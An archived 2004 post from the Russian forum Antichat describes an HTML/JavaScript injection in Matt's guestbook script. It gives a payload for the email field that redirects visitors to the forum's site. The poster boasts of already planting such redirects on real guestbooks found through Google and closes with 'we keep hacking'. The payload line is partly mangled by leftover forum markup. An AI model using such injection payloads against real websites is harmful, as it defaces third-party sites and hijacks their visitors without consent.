Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Уязвимость гостевой книги   matt's guestbook (https://forum.antichat.xyz/showthread.php?t=1927)

Егорыч+++ 20.05.2004 16:27

История такая.. Набрал в googe.com "script guestbook" и зашел по первой ссылке. Там уже редирект мой стоит.
Потом зашел по второй ссылке. И вот вам еще одна гостевая дырка. В поле почты добавляем скрипт

Исходный код &nbsp;</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">" style=background-image:url(javascript:navigate:'antichat.ru')); [/QUOTE]<span id='postcolor'>



И получаем редирект на сайт АНТИЧАТ &nbsp;

Адрес скрипта
http://www.scriptarchive.com/readme/guestbook.html


Ломаем дальше.


Время: 02:24